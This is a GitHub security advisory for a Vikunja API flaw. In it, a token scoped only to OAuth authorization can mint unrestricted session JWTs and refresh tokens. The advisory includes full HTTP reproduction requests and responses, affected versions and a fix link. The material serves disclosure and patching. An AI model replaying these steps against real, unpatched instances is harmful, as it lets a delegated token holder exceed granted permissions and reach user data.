GHSA-V3P6-34MC-HJ7V

Vulnerability from github – Published: 2026-10-09 20:40 – Updated: 2026-10-09 20:40
VLAI
Summary
Vikunja: Scoped API token can mint unrestricted OAuth session credentials
Details

Summary

A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.

A token limited to:

{"oauth":["authorize"]}

can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.

Affected Component

  • Scoped API tokens
  • OAuth authorization flow
  • POST /api/v1/oauth/authorize
  • POST /api/v1/oauth/token

Impact

A narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.

This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.

Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:

  • GET /api/v1/user
  • GET /api/v1/projects

No cross-user access, privilege escalation to admin, or access to another account was validated.

Technical Details

The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.

The vulnerable chain is:

  1. A scoped API token authenticates the request and sets the current user context.
  2. /api/v1/oauth/authorize accepts that API-token-authenticated user as a valid OAuth resource owner.
  3. The OAuth authorization endpoint issues an authorization code.
  4. /api/v1/oauth/token exchanges that code for a normal bearer JWT and refresh token.
  5. The resulting credentials are not bound to the original API-token permissions.

Relevant code paths:

  • pkg/routes/routes.go

  • registers /api/v1/oauth/authorize in an authenticated API route group that also accepts scoped API tokens

  • pkg/models/api_routes.go

  • exposes non-CRUD subroutes as API-token permissions

  • exposes the OAuth authorization endpoint under the oauth permission group

  • pkg/routes/api_tokens.go

  • stores api_token and api_user in the request context during API-token authentication

  • pkg/user/user.go

  • treats api_user as an authenticated current user

  • pkg/modules/auth/oauth2server/authorize.go

  • uses the current user and issues an OAuth authorization code

  • pkg/modules/auth/oauth2server/token.go

  • exchanges the authorization code for a normal JWT and refresh token

Steps to Reproduce

1. Create a scoped API token

Create an API token with only the following permission:

{"oauth":["authorize"]}

Observed response:

201 Created

The returned token had only the oauth.authorize permission.

2. Negative control: direct access with scoped token fails

Request:

GET /api/v1/user
Authorization: Bearer <scoped-api-token>

Observed response:

401 Unauthorized

Response body:

{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}

This confirms that the scoped token cannot directly access the normal user route.

3. Obtain an OAuth authorization code with the scoped token

Request:

POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json

Body:

{
  "response_type": "code",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_challenge": "<pkce-s256-challenge>",
  "code_challenge_method": "S256"
}

Observed response:

200 OK

Response body:

{
  "code": "<redacted>",
  "redirect_uri": "vikunja-flutter://callback",
  "state": ""
}

The scoped API token successfully obtained an OAuth authorization code.

4. Exchange the authorization code for session credentials

Request:

POST /api/v1/oauth/token
Content-Type: application/json

Body:

{
  "grant_type": "authorization_code",
  "code": "<redacted>",
  "client_id": "vikunja",
  "redirect_uri": "vikunja-flutter://callback",
  "code_verifier": "<original-pkce-verifier>"
}

Observed response:

200 OK

Response body:

{
  "access_token": "<redacted>",
  "token_type": "bearer",
  "expires_in": 600,
  "refresh_token": "<redacted>"
}

The authorization code was exchanged for a normal access token and refresh token.

5. Use the minted access token on normal routes

Request:

GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

Additional scope check:

GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>

Observed response:

200 OK

The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.

Expected Behavior

A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.

/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.

Actual Behavior

A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.

The minted credentials are not restricted by the original API-token permissions.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "code.vikunja.io/api"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.3.0"
            },
            {
              "fixed": "2.4.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.3.0"
      ]
    }
  ],
  "aliases": [
    "CVE-2026-57458"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-09T20:40:28Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nA scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.\n\nA token limited to:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\ncan call `/api/v1/oauth/authorize`, receive an OAuth authorization code, exchange it at `/api/v1/oauth/token`, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.\n\n## Affected Component\n\n* Scoped API tokens\n* OAuth authorization flow\n* `POST /api/v1/oauth/authorize`\n* `POST /api/v1/oauth/token`\n\n## Impact\n\nA narrowly scoped API token with only `oauth.authorize` can be converted into normal session credentials for the same user.\n\nThis bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.\n\nRuntime validation showed that the original scoped token could not access `GET /api/v1/user`, but the minted OAuth access token could access:\n\n* `GET /api/v1/user`\n* `GET /api/v1/projects`\n\nNo cross-user access, privilege escalation to admin, or access to another account was validated.\n\n## Technical Details\n\nThe issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.\n\nThe vulnerable chain is:\n\n1. A scoped API token authenticates the request and sets the current user context.\n2. `/api/v1/oauth/authorize` accepts that API-token-authenticated user as a valid OAuth resource owner.\n3. The OAuth authorization endpoint issues an authorization code.\n4. `/api/v1/oauth/token` exchanges that code for a normal bearer JWT and refresh token.\n5. The resulting credentials are not bound to the original API-token permissions.\n\nRelevant code paths:\n\n* `pkg/routes/routes.go`\n\n  * registers `/api/v1/oauth/authorize` in an authenticated API route group that also accepts scoped API tokens\n\n* `pkg/models/api_routes.go`\n\n  * exposes non-CRUD subroutes as API-token permissions\n  * exposes the OAuth authorization endpoint under the `oauth` permission group\n\n* `pkg/routes/api_tokens.go`\n\n  * stores `api_token` and `api_user` in the request context during API-token authentication\n\n* `pkg/user/user.go`\n\n  * treats `api_user` as an authenticated current user\n\n* `pkg/modules/auth/oauth2server/authorize.go`\n\n  * uses the current user and issues an OAuth authorization code\n\n* `pkg/modules/auth/oauth2server/token.go`\n\n  * exchanges the authorization code for a normal JWT and refresh token\n\n## Steps to Reproduce\n\n### 1. Create a scoped API token\n\nCreate an API token with only the following permission:\n\n```json\n{\"oauth\":[\"authorize\"]}\n```\n\nObserved response:\n\n```http\n201 Created\n```\n\nThe returned token had only the `oauth.authorize` permission.\n\n### 2. Negative control: direct access with scoped token fails\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer \u003cscoped-api-token\u003e\n```\n\nObserved response:\n\n```http\n401 Unauthorized\n```\n\nResponse body:\n\n```json\n{\"code\":11,\"message\":\"missing, malformed, expired or otherwise invalid token provided\"}\n```\n\nThis confirms that the scoped token cannot directly access the normal user route.\n\n### 3. Obtain an OAuth authorization code with the scoped token\n\nRequest:\n\n```http\nPOST /api/v1/oauth/authorize\nAuthorization: Bearer \u003cscoped-api-token\u003e\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n  \"response_type\": \"code\",\n  \"client_id\": \"vikunja\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"code_challenge\": \"\u003cpkce-s256-challenge\u003e\",\n  \"code_challenge_method\": \"S256\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n  \"code\": \"\u003credacted\u003e\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"state\": \"\"\n}\n```\n\nThe scoped API token successfully obtained an OAuth authorization code.\n\n### 4. Exchange the authorization code for session credentials\n\nRequest:\n\n```http\nPOST /api/v1/oauth/token\nContent-Type: application/json\n```\n\nBody:\n\n```json\n{\n  \"grant_type\": \"authorization_code\",\n  \"code\": \"\u003credacted\u003e\",\n  \"client_id\": \"vikunja\",\n  \"redirect_uri\": \"vikunja-flutter://callback\",\n  \"code_verifier\": \"\u003coriginal-pkce-verifier\u003e\"\n}\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nResponse body:\n\n```json\n{\n  \"access_token\": \"\u003credacted\u003e\",\n  \"token_type\": \"bearer\",\n  \"expires_in\": 600,\n  \"refresh_token\": \"\u003credacted\u003e\"\n}\n```\n\nThe authorization code was exchanged for a normal access token and refresh token.\n\n### 5. Use the minted access token on normal routes\n\nRequest:\n\n```http\nGET /api/v1/user\nAuthorization: Bearer \u003cminted-oauth-access-token\u003e\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nAdditional scope check:\n\n```http\nGET /api/v1/projects\nAuthorization: Bearer \u003cminted-oauth-access-token\u003e\n```\n\nObserved response:\n\n```http\n200 OK\n```\n\nThe minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.\n\n## Expected Behavior\n\nA scoped API token should not be able to obtain credentials with broader permissions than its declared scope.\n\n`/api/v1/oauth/authorize` should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.\n\n## Actual Behavior\n\nA token scoped only to `oauth.authorize` can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.\n\nThe minted credentials are not restricted by the original API-token permissions.",
  "id": "GHSA-v3p6-34mc-hj7v",
  "modified": "2026-10-09T20:40:28Z",
  "published": "2026-10-09T20:40:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-v3p6-34mc-hj7v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/4ae2e093014881052ed8f8ecd8bcb9adf83dd276"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/releases/tag/v2.4.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja: Scoped API token can mint unrestricted OAuth session credentials"
}



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